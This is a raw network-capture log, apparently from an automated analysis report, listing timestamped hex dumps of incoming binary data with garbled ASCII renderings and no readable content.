                                                                                                                                                  2022-12-04 11:05:58 UTC1126INData Raw: 07 bf 11 7b a5 35 0f 1f 8a 23 c8 08 7f 00 4e 24 8f ca ec 39 db dc b4 3a 26 b5 ac 55 11 ce e4 33 de 00 76 e2 04 a2 3f be 77 83 85 ab fc f2 27 9d fb 16 cb 99 3b 3b 52 93 f6 5f 71 f0 52 b0 b3 db 49 db 55 fb d6 24 c3 a0 b1 22 f4 98 c3 8a 93 ed fc 75 af fe 8c 46 04 fd 70 15 79 1e 1d 9c 69 f4 ee 1b ee 26 de 36 37 72 7a 3a f7 8d 47 39 4f ea 0d ef dd ff a1 a1 96 ee 3a b1 01 91 04 3f ea e6 5f 38 b9 96 30 30 f4 6d 9d 92 a9 ca f3 2a 8b ae ae 12 49 01 c7 f1 bc bb 3b 9c 95 3d 9f c6 aa e5 d2 69 c6 82 63 1e 19 d2 4a 2d 3f 78 7a 8e 3b ff 2b bd c4 0e 47 e3 76 ac 78 05 43 b8 d1 2c 12 17 a9 69 bc 7a 70 5f 4d ca 77 de e3 2b ef 65 fc 92 0f 3a 0a a5 03 6c 9b fe 62 56 26 7f 57 88 1c 99 1d 3e 0a 0f e6 63 8f 61 77 42 fd 33 53 86 c0 92 8f 81 14 58 c7 fc e9 4d 0b 94 af 4e e4 7a 0d
                                                                                                                                                  Data Ascii: {5#N$9:&U3v?w';;R_qRIU$"uFpyi&67rz:G9O:?_800m*I;=icJ-?xz;+GvxC,izp_Mw+e:lbV&W>cawB3SXMNz
                                                                                                                                                  2022-12-04 11:05:58 UTC1133INData Raw: c9 72 1b 84 c8 06 c9 17 41 af 6a 4a c6 97 e5 9b 9e 09 2b 92 e7 42 b4 88 95 32 7a f8 f5 3a 6f 99 4c 3f 2a c1 b9 51 3d 4c 00 c5 46 55 d5 a9 3f c0 a2 e3 d8 3a 36 76 9e a2 a9 18 41 e5 76 c8 c5 36 bb b2 2f e1 25 94 26 7a e3 a8 82 01 97 53 db 36 6f 92 4b 05 7c 03 7e d4 66 95 e9 5a ea c5 25 7a b9 d5 e3 00 cf 77 2e 29 47 3c 72 ae 3c 1a 8c 8f f9 f0 43 5a ba 1a c9 ee b2 54 0f 78 95 6a 01 75 7b f4 49 9e e6 7f e8 80 b2 71 cb cc e9 a7 a4 69 a3 00 92 88 01 4a 90 64 47 d3 5d 88 60 a4 4a 79 f2 d3 ff ae bf 72 32 12 5c fd c6 78 28 fd 3b be f9 a1 a7 3e bf 68 aa d9 38 45 ae 9d 98 9c 1c 9f 60 ac 15 f9 72 bd 73 ac 0d 47 cf 94 9b 0a 63 de c9 19 0a 50 82 9c 5f 5e 1f f5 d2 b6 83 c0 0f 51 06 6e 9f 5c 80 27 15 3c ca f2 22 51 f6 cc d1 d6 83 a1 9d 7d e8 b2 95 09 58 06 e2 d5 49 39 e5
                                                                                                                                                  Data Ascii: rAjJ+B2z:oL?*Q=LFU?:6vAv6/%&zS6oK|~fZ%zw.)G<r<CZTxju{IqiJdG]`Jyr2\x(;>h8E`rsGcP_^Qn\'<"Q}XI9
                                                                                                                                                  2022-12-04 11:05:58 UTC1141INData Raw: cd 4c 88 c5 58 89 44 ab 20 a8 05 d4 5a 76 99 1a 83 70 65 ce 9b 80 6b 43 eb 4f 63 74 08 0a ee c6 4e f3 24 e4 2a eb 42 25 f2 22 50 fc 8e 6f ec 97 8e 3d 38 40 e9 73 46 c2 53 2c 6c e2 fa 42 49 b9 93 94 b4 41 ce 80 e0 d6 4b 63 c2 ad 1f 0f ad 4e f3 f1 c1 1e d1 5c d5 9d 1e 0a d9 c1 e6 9f d2 e0 e1 7d 32 78 34 fd 4d b0 3c 90 2b 2c ea 73 b7 3d c6 f1 37 5f 1b c4 26 17 90 b9 09 c1 f4 b4 45 8c 2f f2 d4 d9 25 1a e5 23 ec 2a 31 19 2e 86 4e 68 2c 6b 78 f1 5a 24 2a fd 17 ba 10 a7 63 86 7a bd 26 f2 86 ed ae 51 31 03 71 a7 82 43 1a 7e fa 5b 20 7a a0 6d 6d ef 15 1a e7 45 05 c6 6f 50 ba 76 7f 79 a8 ef e4 78 97 9e cd ae 0b 8c 96 f7 e6 13 06 78 d7 e2 b3 7d ff e2 c6 84 0b a2 66 cf 82 18 2b 7b 87 67 99 91 e2 01 de 9e 4b b0 43 7d 00 26 50 b4 a9 a6 78 3e cd 67 3e 47 aa 16 00 ac 3a
                                                                                                                                                  Data Ascii: LXD ZvpekCOctN$*B%"Po=8@sFS,lBIAKcN\}2x4M<+,s=7_&E/%#*1.Nh,kxZ$*cz&Q1qC~[ zmmEoPvyxx}f+{gKC}&Px>g>G:
                                                                                                                                                  2022-12-04 11:05:58 UTC1149INData Raw: d8 64 79 27 1e 2e d1 12 86 b9 3e b6 8b 5b 9d e4 1c e0 e4 c7 4f e1 4a b2 e9 a9 fb 19 1b 1c cf cf 05 06 68 50 72 d5 cc 36 72 81 b0 83 d9 1d 22 f9 6e e0 00 e2 87 91 76 f5 bf ad 49 2c 21 33 e9 5e 50 40 d7 23 44 e1 35 2a 23 7a d4 e7 ec 4a 51 ce fb bf a6 3c 53 7d eb 9b a1 ce 5c f2 f0 06 ea cd 6b 43 3b 41 1a ef 49 7a 1a 03 51 d2 c2 84 a4 c1 09 36 a5 fd 6b 1b 18 d2 4d 74 e1 ac ef ff ef 28 e2 26 ed 35 5d 61 69 fc 7d e3 e7 4f 26 1d 74 08 4a a1 a3 a4 38 98 e9 ff 08 1e 52 9c 8c 93 92 1e a1 e4 3d 57 83 e4 6a b6 e1 7e 1c be 60 88 f9 b2 49 5f 52 ed 2f 7e 54 4d 53 9d 5b ce d2 8a 33 bf 91 74 be 52 32 96 ac e3 84 f0 bb 6a 67 4f 6c ed 28 d7 f6 2f 4d 1a ae 8c 13 35 23 0e 35 78 1b cc 88 bc e9 2d c2 13 91 d0 f8 32 ab e5 d2 6f 54 fb 8a bf c2 9b de d0 49 16 6c 57 8e e3 fa bb 3e
                                                                                                                                                  Data Ascii: dy'.>[OJhPr6r"nvI,!3^P@#D5*#zJQ<S}\kC;AIzQ6kMt(&5]ai}O&tJ8R=Wj~`I_R/~TMS[3tR2jgOl(/M5#5x-2oTIlW>
                                                                                                                                                  2022-12-04 11:05:58 UTC1157INData Raw: 23 6c c4 2a d6 d3 71 63 48 05 80 82 a5 48 e9 06 79 f4 59 1c c6 d2 52 3c 6c ad 81 07 e6 19 28 8c 12 9d 7a 09 43 b4 d1 3e d1 98 5c e5 13 65 74 2e 9f 4e 96 6a 74 a6 64 19 70 1f fb c0 a4 b0 cb 8e 8c 2b b5 85 45 c5 ed 26 1d c3 c1 15 28 d9 9a 3e f6 06 6e 6a 81 67 61 65 77 92 56 0f 48 d1 40 03 ab c6 6e 3e 4a 51 bf 27 ef 89 de dc d8 84 1b b6 26 ea cc 61 87 c1 c5 44 28 53 81 e1 24 bc 7f b7 7a bd 05 28 f7 bc 0b 1b 98 f1 7a fa c3 3d 9f 62 18 1c c7 c6 e1 3a 84 c8 88 e0 af 56 dd 30 14 1c a8 79 16 66 cd e1 8f ac 97 a5 26 30 af 92 4a ef b9 49 41 53 e6 74 6f bd 90 36 85 63 db 61 e0 9b f4 d8 16 f3 bc 4b 5d a3 4e 45 53 be 58 5b 7d ac 12 0e 68 c4 47 f2 6b 54 58 81 45 1c c8 75 43 22 88 87 2a 0c c3 5b 36 38 e2 0e 00 7f 03 3c e4 25 48 39 81 76 2e 63 60 ea 94 b0 06 07 8c ff 6d
                                                                                                                                                  Data Ascii: #l*qcHHyYR<l(zC>\et.Njtdp+E&(>njgaewVH@n>JQ'&aD(S$z(z=b:V0yf&0JIASto6caK]NESX[}hGkTXEuC"*[68<%H9v.c`m
                                                                                                                                                  2022-12-04 11:05:58 UTC1165INData Raw: 3c 55 c8 5f 44 6b bf 16 41 2c 78 85 e5 26 63 35 40 8c 63 62 a0 57 da e0 9c 5f 9a 31 5e ac be 22 1e 82 38 21 98 ed a7 ac 63 09 a3 b4 d7 0d a8 78 24 2b 95 d1 43 79 bb b6 cb 4f fb c9 df bb 97 55 58 32 ae 3a b2 0d 83 3b 5d cb b5 40 19 c1 f6 dc cd e1 25 ff c1 ee 14 62 0e a9 b2 c5 ac 09 6e 49 3d f4 3c bb e0 ab 41 ec 10 0f b3 0c be 4e ee 81 57 23 3d c5 f9 8e c7 a5 f0 79 c2 e5 62 3f 9a 73 da 09 ac 64 4b 8c 1f 46 77 8b 8c 54 98 78 18 99 6c a1 05 9b d6 26 8a 39 5b 1f d6 8c 0d 08 72 69 4d e7 35 0d a9 9e e4 4e 9a 25 08 ef 2f 10 a2 7e 71 dc 42 17 0b c5 78 42 50 a7 e2 79 c5 06 50 f8 6b 41 c1 ba da d9 e0 de 27 92 fe d8 de 80 3d de c7 02 17 e8 04 f6 0c 24 ac 7d 93 22 05 08 86 02 a2 3d ba 3b 2a d1 47 81 8a fd ae da c6 f6 07 f8 b1 ab a7 d8 eb d8 d9 5d 7e 3b d5 27 e9 0f 5a
                                                                                                                                                  Data Ascii: <U_DkA,x&c5@cbW_1^"8!cx$+CyOUX2:;]@%bnI=<ANW#=yb?sdKFwTxl&9[riM5N%/~qBxBPyPkA'=$}"=;*G]~;'Z
                                                                                                                                                  2022-12-04 11:05:58 UTC1172INData Raw: aa bf 6b 7b e8 75 e6 71 95 b4 eb 04 68 4a ba 37 5e ee fd 62 ae 45 7a f5 4b 26 4c 57 76 1e 91 57 6b e4 1b b6 ef 19 c8 23 be eb eb 58 1c fb c9 b9 06 1d 99 69 4a 8f f2 60 28 b9 52 42 c1 88 ef 0b ec f2 81 9c 9c 8a c3 d6 36 64 5c d6 d0 0b 78 03 da 15 23 99 0a 7b 19 90 6f 4e 40 e4 dd 8a a3 93 2a 71 7c 72 21 b0 c7 03 68 5c c9 2d f8 f3 9f c1 af ef bc 83 d7 73 57 18 e1 d6 33 cd 3c 51 3b 80 b3 41 8e 9c 4a 39 1b 37 25 f9 f6 22 c7 b8 5b 56 89 e5 02 f2 71 a4 62 16 31 cf 21 de f6 c5 77 99 0a 92 b1 21 c1 39 27 47 fa f4 2f 4c e4 41 15 ad f5 ab 2f ee e6 26 88 47 e0 3c 19 a0 82 33 af 58 30 21 f9 ee 55 7c f2 ee de 69 37 6e 42 59 33 e0 6e 09 ca d4 b1 5b a7 71 84 48 d5 1a 6e c8 a0 60 f8 c5 33 89 50 75 e9 5b 77 70 ec a6 83 df a3 91 df 3e c5 b5 71 db f5 5d 5d 16 83 9e 84 4b 79
                                                                                                                                                  Data Ascii: k{uqhJ7^bEzK&LWvWk#XiJ`(RB6d\x#{oN@*q|r!h\-sW3<Q;AJ97%"[Vqb1!w!9'G/LA/&G<3X0!U|i7nBY3n[qHn`3Pu[wp>q]]Ky
                                                                                                                                                  2022-12-04 11:05:58 UTC1180INData Raw: 78 fe 7c 33 b9 54 2c a7 dd 9f 5a 78 5e 35 f3 d9 62 d0 3b 74 8f 3e c8 a5 a8 47 d0 75 96 58 c5 54 a9 da dc f2 c1 05 32 40 13 a8 bd db c6 ba 16 3a 4c d3 24 ab da 52 10 ed 12 aa 3d ef d0 10 a3 85 2f c8 37 eb 8e 32 5d 5e 1d e3 a7 2f 27 b2 81 bd 88 79 e0 6e 9f 2f 88 d1 05 84 c8 ed 60 71 4a 03 dc 4a c0 5f 78 97 48 6d ed 73 ec a6 dd d6 7f 3a 16 fc 55 57 44 10 de 34 19 de f9 be ed f0 f2 9d f5 64 82 2e 72 2a 67 07 6f c9 65 cf 41 3c 33 6f f5 45 47 7f 38 09 ea 8d 5e ba a5 1c 2d c0 9f dd a8 25 a0 a2 e1 6e 28 df 1c e2 98 3e 4a c6 c2 cd 90 0d 9a 86 68 36 09 c6 16 2d ea 18 1d 83 70 59 17 62 ab c4 2c 65 00 3d 04 06 81 96 e6 97 53 b4 72 38 41 b4 f8 22 b2 84 ac 48 2e ce 28 35 d0 9d 74 00 b3 bb 01 8c 4e e3 d9 e9 ba 9c be 73 83 ee 54 ab 86 9f 62 44 8f ad 1e 79 5c c3 74 28 29
                                                                                                                                                  Data Ascii: x|3T,Zx^5b;t>GuXT2@:L$R=/72]^/'yn/`qJJ_xHms:UWD4d.r*goeA<3oEG8^-%n(>Jh6-pYb,e=Sr8A"H.(5tNsTbDy\t()
                                                                                                                                                  2022-12-04 11:05:58 UTC1188INData Raw: 2b 05 b5 f9 cd eb 8b c1 96 31 c6 e7 14 32 4d 5d 13 26 da 61 fc f1 18 e4 3b 50 55 57 ba 6c 33 00 1d d3 5d 3e d3 95 d7 0e de ec e4 ef d6 03 e2 7f 5d 1f 67 a6 ee 77 08 c4 21 da 20 ad d5 ae e5 82 87 85 a3 97 03 64 f5 73 76 9d 47 6b 84 29 af 05 af 1d 85 b8 ca dd da 32 58 f1 2c ee a2 76 78 ff a0 a5 24 4c d8 f3 20 95 f4 a5 42 dd c6 d3 d6 10 6c 41 10 3e 9a 2f 73 f9 28 ca 01 12 5d b9 61 90 6c 25 79 2f 5a 48 39 93 b3 8f 3d 12 00 39 94 42 78 7d 38 64 55 a2 36 b9 1e ec e3 7f 7f e9 00 7b ef ce 5e fa 2f 71 9d ec c0 8f 0e b2 02 90 06 1f 01 10 96 9f 99 47 ff c5 64 65 6a 86 37 da ba 62 42 cf 4a fb 75 6c 72 7a da d1 1a f5 7f 11 d1 5a 29 ae 6e 63 2f dd 76 c8 2f bd 6d de fc 8c c5 82 3c 3c 1d e4 c8 1d cd fa 44 bc 22 fb 0b 29 8b a0 44 09 25 0c 64 0a ff 74 63 6d 10 23 65 a3 d5
                                                                                                                                                  Data Ascii: +12M]&a;PUWl3]>]gw! dsvGk)2X,vx$L BlA>/s(]al%y/ZH9=9Bx}8dU6{^/qGdej7bBJulrzZ)nc/v/m<<D")D%dtcm#e
                                                                                                                                                  2022-12-04 11:05:58 UTC1196INData Raw: c6 ab 5e 64 02 67 59 2e 3d 62 69 03 93 ba fc 91 df e9 9c 8d ac 33 aa 81 8d ce f0 1c 98 51 1c f2 f2 be 74 61 9d 6b 0b d3 f1 cd f1 77 67 14 ce 33 11 91 e8 ad c1 58 4a 77 b8 7c 18 a5 68 2f 7d 2b 58 52 0b c5 31 9d 1b 0f cd 38 3a 21 93 a3 57 6c 85 6a af 37 07 98 c4 7b 19 34 91 5f d3 55 5a 29 17 5d a4 08 cd 83 70 14 de eb b2 97 16 a5 a1 11 e2 1b 91 64 04 db 8e dc 22 4d eb 2e 99 9a 66 e9 4c 7f 86 3c eb e3 aa 3f 4f 1f 0b 3f fb f8 43 a8 4c db d6 04 9f 4a 91 58 13 ad b1 46 73 4a f5 5b b8 a0 4b f0 e0 bd 3c ad f2 27 5c 2c e4 c2 d5 54 84 e7 da 9c 63 07 2c 82 e8 37 74 4a bb d4 5b af ea 77 8c 18 19 95 c5 9f 99 ef 2d f1 d6 49 4b 18 5b db 10 4a bb 23 e4 7b 1d 29 4b 40 87 65 f3 04 43 da 1d 2d 3f 19 51 78 cf 38 d6 ee 3c bd 8c 43 7e 8e 10 78 3a b3 90 84 7f 41 48 77 2b 8f 25
                                                                                                                                                  Data Ascii: ^dgY.=bi3Qtakwg3XJw|h/}+XR18:!Wlj7{4_UZ)]pd"M.fL<?O?CLJXFsJ[K<'\,Tc,7tJ[w-IK[J#{)K@eC-?Qx8<C~x:AHw+%
                                                                                                                                                  2022-12-04 11:05:58 UTC1204INData Raw: ce 6a 92 5a 41 72 78 48 06 a2 e5 9c ce c3 8d 5d 3a 39 39 31 10 3c 98 cb 48 ff df 17 45 58 94 83 08 40 7e 2d 25 1d ae ce 28 a8 e1 f1 a0 64 0b 0c 87 bd 6a 14 bb 25 c3 8c f6 7a 2d 72 83 33 72 da aa 51 04 56 12 54 d2 4c 4f 5e 77 84 07 d7 47 c5 7b 7f 02 dc 2b a2 70 05 68 4d f5 00 bb e9 19 6d ae d0 55 4a b2 a2 00 06 76 62 a7 36 06 46 ca 31 0e 37 50 7e a3 e3 62 ba 7b 4f 2d ef ca 29 66 ff 5c ca 07 24 ad 7d e2 30 e8 f9 95 93 6e 03 f2 3e 75 9c 54 0c 62 03 71 b1 6c dd 7b 41 90 5a 1e 45 09 a0 8e b3 1b 2a 49 87 53 f5 7e 2c e5 d6 fb 05 84 5c c0 42 a5 e6 cc 6b be fc 4c 50 ee d3 ac a3 2f fe 21 81 c9 f4 44 37 cc 6a cc d8 ac 5a 33 ee a9 b5 76 a1 2e 62 a3 b0 cd 96 a6 88 31 08 14 a3 9a fa b1 a5 5c e3 27 56 bb e1 44 a6 0f 13 79 d7 b9 6c 64 33 c2 8f fc 0e 7a fb 84 1b 6f dc cd
                                                                                                                                                  Data Ascii: jZArxH]:991<HEX@~-%(dj%z-r3rQVTLO^wG{+phMmUJvb6F17P~b{O-)f\$}0n>uTbql{AZE*IS~,\BkLP/!D7jZ3v.b1\'VDyld3zo
                                                                                                                                                  2022-12-04 11:05:58 UTC1211INData Raw: 5e 43 95 62 17 ad 2c 88 93 ee 97 63 2f 4c 43 0b 1f f5 1f fd d7 66 80 31 2f 97 ff 26 e1 bc 83 34 e7 eb 6d 05 3f d2 c8 f0 57 ce b3 2d f8 97 36 ae bd 32 75 2c 49 b6 af 0a 56 b4 67 a4 d8 9d 54 11 81 36 f1 27 69 47 7d 3e 45 28 2a 44 a9 36 86 e7 14 a3 91 8b ca 0b 55 f8 52 91 32 fe bd ef cb 20 b1 a4 d5 0f 3f 1e 43 d4 0f fe 13 47 8b 1c b5 20 4b d1 eb 8b 83 c8 47 b3 dc 29 e6 80 cb 54 18 3d db 22 6d e6 50 e3 b8 30 c9 8d 86 14 ec 88 c4 75 83 c6 25 3a 92 d2 a4 1e d2 a6 8c 96 a5 4c 8c c3 d3 e0 d0 e2 06 dc 3e 83 31 c0 bb 63 30 4d 0a 33 4d 3d c6 c6 20 8e 1d 29 e1 38 a8 73 16 29 30 5f 98 c3 9e 4e 42 61 8e 89 e4 f9 11 a2 c0 b1 e2 28 d0 c7 aa 64 93 35 78 e3 48 42 8e 57 16 8a 85 8f 27 96 17 c5 a1 aa cb 1b 5c 3b 7c e6 89 e5 19 ef e3 a8 22 92 2c 31 33 63 32 f3 71 ca de c3 41
                                                                                                                                                  Data Ascii: ^Cb,c/LCf1/&4m?W-62u,IVgT6'iG}>E(*D6UR2 ?CG KG)T="mP0u%:L>1c0M3M= )8s)0_NBa(d5xHBW'\;|",13c2qA
                                                                                                                                                  2022-12-04 11:05:58 UTC1219INData Raw: 91 31 c1 ae ab 9c 43 2f cb 51 f1 86 e4 93 a1 1d a0 38 95 83 41 af 9d fc 12 14 fb 1a 5f e6 e5 5d 38 01 ca 71 a4 5b c8 a2 17 d1 91 1a 26 38 d7 82 52 1d 80 09 4c df 0f e7 c2 f1 70 a0 be 96 27 6c d6 e5 09 07 f8 e5 ec e7 7f 3f f4 16 ea eb 9c 91 b6 bc b5 aa 97 aa f8 d5 53 3e c5 63 71 fe b0 c0 36 ae 52 ed 13 8a 73 98 98 d1 fd 0e d4 b3 30 cc 57 0c 9f 5b f9 de 5d a8 c4 24 c2 47 e4 e4 dd e4 83 56 26 af 1d d0 51 fc c9 8b dd e1 a9 24 74 df 77 b0 e3 44 c0 77 75 ce 3b 46 e3 db 4e 33 e0 0e 5d 95 84 b9 47 c1 46 48 dc 4d 17 c5 d2 0e b0 f7 ae d3 50 31 b4 72 6a 53 3a ef a1 db 97 7c 61 18 bb bc c0 bd cc 78 d3 ba 95 28 58 76 06 ed f2 3d 25 32 87 82 96 6d db 84 bb 37 d9 17 47 9f 9f 2e 69 55 10 21 31 a5 b1 ce 76 88 6d e5 ff 7c 66 63 22 f4 75 2e 04 d9 8b d6 15 91 78 5e 8e 11 a4
                                                                                                                                                  Data Ascii: 1C/Q8A_]8q[&8RLp'l?S>cq6Rs0W[]$GV&Q$twDwu;FN3]GFHMP1rjS:|ax(Xv=%2m7G.iU!1vm|fc"u.x^
                                                                                                                                                  2022-12-04 11:05:58 UTC1227INData Raw: 7c f3 b8 98 83 24 b0 6e 05 d9 6e e9 94 f7 b0 5b 33 b3 4b 4b 79 a5 5a dc 1b 83 a7 2e 97 1d e8 e9 89 16 25 75 47 cd 77 1e cf 3d f3 da cf f7 df dd ec 6c ad bd b2 97 5f 1e df d4 64 9f fd c2 87 28 9e 2c 3d 2a 9e 93 92 bb fc 96 57 36 d9 b2 4c 6c b3 1b d9 2e 05 5c 9a 6c a5 3c 3f d4 a7 5d 70 82 77 eb f3 05 73 60 75 20 ed ab ae 04 95 e6 17 c9 b5 4f ee 43 f8 2e b5 95 48 28 c2 08 ae 95 1a 15 e0 8c fa f0 1c 28 c4 87 bf f7 f4 97 f3 f8 c5 28 0b eb 0b 7a 86 7e 25 ad 79 5d 3e d4 e5 e2 05 37 e4 ad 1f 86 8e 51 67 3a 97 0c f0 a1 6b 0c 70 ad a0 9a 20 b6 bb 25 6d 27 59 97 d9 b6 b6 be d9 ec 3e ec 3a 21 2d ac e2 7f 00 d9 7a 97 3e 1c 76 15 90 df ee 24 f4 42 77 45 fe 7a 5e e9 9d de ea 50 67 15 ad ad 07 6d 57 33 4e 5a f5 e5 88 af 11 04 c2 bd a3 5f f0 51 22 3a 46 ea 8d e2 85 1a 23
                                                                                                                                                  Data Ascii: |$nn[3KKyZ.%uGw=l_d(,=*W6Ll.\l<?]pws`u OC.H(((z~%y]>7Qg:kp %m'Y>:!-z>v$BwEz^PgmW3NZ_Q":F#
                                                                                                                                                  2022-12-04 11:05:58 UTC1235INData Raw: dd bb 20 7f c1 ef 82 be 21 ad 9c 70 99 99 f9 36 60 f2 b7 e7 aa cd 36 9b 33 9f f1 ad 1b 47 b1 8e 22 6c 9a df fa bb f2 11 b3 18 fd 68 f8 0e ab 1c b9 90 ab 74 9c 0e 47 b1 25 58 7c ac cb 4a 85 d5 54 6c 73 6f 53 fb 23 33 53 f1 c7 da e8 47 4f d6 6b c3 ea fc ba 4b 8f ed 2c 8b af 46 f7 72 6f 3b db b7 f1 48 4b 38 51 74 65 05 50 f0 13 61 cd 04 3e 78 c0 23 7c 02 fe a0 fd 0d 48 05 a8 ff ec f0 90 a8 d9 70 7a 29 4f 57 cd 32 05 7f c3 4d 9d 57 22 f9 d0 a2 87 a3 fa 86 d2 b7 c8 19 d1 37 20 68 1c 3d 24 30 c3 7a ef f5 d6 9f 62 3c e9 62 1c 33 2a bc 17 b3 bf 60 17 f0 74 49 70 ed be 21 fb 21 4a 90 78 3a ab fb d1 82 e7 76 1f e2 f7 6c cf 79 9b f6 05 7e 86 e5 b8 91 1d 5e bc 12 6e dc 17 a7 77 84 82 8c 60 60 10 37 01 da 20 66 fd fb ec d8 bd 24 22 a5 b0 2b 7d b3 61 c5 a8 4c 8c d3 b9
                                                                                                                                                  Data Ascii: !p6`63G"lhtG%X|JTlsoS#3SGOkK,Fro;HK8QtePa>x#|Hpz)OW2MW"7 h=$0zb<b3*`tIp!!Jx:vly~^nw``7 f$"+}aL
                                                                                                                                                  2022-12-04 11:05:58 UTC1243INData Raw: b9 03 22 39 2f be 76 c4 5f 51 5f 30 6b 62 07 6a d6 ad ff 05 85 c8 10 1f ee 65 1f e9 98 e5 8f 46 03 97 ab f8 ad 2d a0 36 06 9d 09 49 91 39 c5 c5 d6 c4 44 6d c3 60 6b 58 a0 cf b8 52 eb 90 13 e4 24 51 d6 66 72 a0 58 cd d8 e5 9e 4d b3 8a 88 59 3b 7f eb 39 42 8b bc 6e d3 20 fc ac ac 0b 12 02 73 c9 3a 9f 0e d8 4c cd 20 ba d4 f4 4b c8 e3 7e 90 ce 7f 05 71 83 c5 bc 9c 5a f2 b9 43 ea c1 7f b3 2e 1d 8b 40 36 1b 41 e2 a9 21 c8 09 7e d3 68 71 ee 8f aa a7 6f af 3e 69 5c 15 4f df 1a 9e 3e d2 22 f8 54 31 19 40 7b ff ec 7c c0 67 60 c9 bc 0c 87 58 d4 a1 fe b1 89 a7 33 ab a0 27 f6 29 d8 d6 92 0c ef ec 58 95 b5 31 ab 2f 06 47 9b 45 88 1d 66 d5 77 15 d6 09 00 a5 31 5b e1 68 7e b9 39 7f 54 11 f3 fd 4f 63 66 48 c4 39 29 70 02 4b 46 89 48 f4 87 78 f4 25 85 ec b2 b9 16 b1 10 0b
                                                                                                                                                  Data Ascii: "9/v_Q_0kbjeF-6I9Dm`kXR$QfrXMY;9Bn s:L K~qZC.@6A!~hqo>i\O>"T1@{|g`X3')X1/GEfw1[h~9TOcfH9)pKFHx%
                                                                                                                                                  2022-12-04 11:05:58 UTC1251INData Raw: 3d f9 c5 06 ff ad b8 90 ac 61 8c 2b 14 86 12 48 c2 a2 8f e9 a9 7b 6e 77 b6 11 18 49 3d 49 e1 91 c4 46 45 73 3c a6 c2 58 73 9d 37 33 0c d2 40 78 fe 1f 4c ff 00 65 18 15 3f 08 41 cc 58 d6 fb 0b 76 65 ef 26 7f 77 c5 7a 4b 82 e4 46 29 6a da a0 a5 ce 61 67 16 1f 33 a2 15 e0 5c b7 95 b4 85 a0 f9 51 63 7b d5 5f 28 b7 d5 1f 47 f1 23 01 c4 5e 79 3d c1 f0 7d ee 43 48 2e fc 18 c7 d7 06 44 15 0c ab 4a 86 42 7b 8c 43 b4 bd 83 92 e7 21 e4 30 0e 11 14 38 2f 31 93 bd 62 58 62 59 62 f3 1d 24 73 49 75 6d 6c d1 b1 50 9d af 96 1d 30 23 fb 9a b7 11 88 b7 c4 dc 65 77 0b 50 99 dd 08 9b 20 90 75 a2 e2 29 ef e3 1f 0d 46 90 98 78 f6 7f 39 e1 87 0c 48 50 d9 5f 5b c0 95 ae 6c cc 14 2f 0c f8 f4 c6 38 67 c4 b6 c6 e7 97 68 8a b9 33 cb 25 18 2a 9a a9 3d 87 ed 51 e2 f2 c0 50 d5 ca 34 6f
                                                                                                                                                  Data Ascii: =a+H{nwI=IFEs<Xs73@xLe?AXve&wzKF)jag3\Qc{_(G#^y=}CH.DJB{C!08/1bXbYb$sIumlP0#ewP u)Fx9HP_[l/8gh3%*=QP4o
                                                                                                                                                  2022-12-04 11:05:58 UTC1258INData Raw: 57 e8 eb cf 7a af a9 ed 7d e6 04 b0 b4 34 74 dd c5 8d b7 86 6d 64 20 4e 10 64 cf 18 d6 68 55 eb 1d 94 05 cf 50 2d 01 98 4a 8c e2 e7 32 95 cb dd 0a 90 4a 16 6d f2 08 d5 57 3a 97 af af b0 fd 34 05 14 39 90 f6 3a 2e c8 38 42 e0 62 73 89 b7 46 7b a1 ae 13 80 4c fb 9e fa af f6 87 77 d3 b9 55 60 d5 de dd 9a dc 8c ba 46 59 63 2e 46 ee c6 2b 28 67 6b 14 e2 65 b6 0e 09 16 bd 3f a8 a9 84 1c 1e a2 cd 0b af 7d 5c 11 e8 ed 5d 15 98 00 6b ad 07 c8 f9 3c 46 77 11 5d b1 1a d2 6d ab cd d5 56 5d 57 9f 0a e8 86 38 59 07 d2 06 c8 07 ce 05 76 02 f0 1b f1 bd da 6a d4 1c c2 45 2e a0 8e 79 9d 90 c0 d3 3d c9 2a 31 b3 cd d5 c5 6b 25 82 e3 81 bf 2b 84 d3 5c 13 2d fc 1c 8a c2 86 f5 c6 b0 d8 78 fe 9a 62 1e 00 d9 5e c2 da c8 e2 84 7e 42 ae 6c ae da 91 1d 37 e2 5d b9 12 58 89 a4 f0 c2
                                                                                                                                                  Data Ascii: Wz}4tmd NdhUP-J2JmW:49:.8BbsF{LwU`FYc.F+(gke?}\]k<Fw]mV]W8YvjE.y=*1k%+\-xb^~Bl7]X
                                                                                                                                                  2022-12-04 11:05:58 UTC1266INData Raw: 2c 21 b4 5c ec a4 91 36 94 64 88 40 40 8a a4 8c f9 7a f4 be 98 48 a3 01 29 e3 52 c0 93 b0 7c 5c a8 1f 26 b1 2d 3d 21 7a 29 c6 93 5a 29 e5 0d 50 5f 78 7a c4 f2 5a c4 81 76 2a 80 3b 26 91 82 0c 57 40 c2 a5 3f 95 2b 1d 25 1f 39 25 84 72 50 28 96 6e ed 6f 9d f1 51 3f e9 a5 7a c1 f5 5a 02 04 41 60 27 cb 5b 5f 69 70 30 40 0c 08 b0 5a fe 1a ac 64 f1 b0 40 ff 32 08 71 30 59 39 d4 a8 6b 35 79 eb f3 6a 09 29 48 29 25 a0 01 30 54 35 fd bb 22 97 50 25 20 e5 3d e8 53 c3 b0 7f b4 e3 34 c1 e4 62 83 21 34 4f c5 f5 9c 31 0f 96 bf 74 12 9e f5 6a 95 db ad 1b a8 74 22 83 54 00 05 30 37 5e c4 4f 45 34 1a 04 64 34 92 00 10 42 83 90 38 09 0b 62 a1 3a 28 09 40 f0 ee 3f 7e 22 11 9c c1 35 16 8c 65 d3 21 ea 64 0a 45 41 08 09 46 17 ae 23 10 95 54 62 11 01 9f 4b a9 90 9e e7 93 70 4e
                                                                                                                                                  Data Ascii: ,!\6d@@zH)R|\&-=!z)Z)P_xzZv*;&W@?+%9%rP(noQ?zZA`'[_ip0@Zd@2q0Y9k5yj)H)%0T5"P% =S4b!4O1tjt"T07^OE4d4B8b:(@?~"5e!dEAF#TbKpN
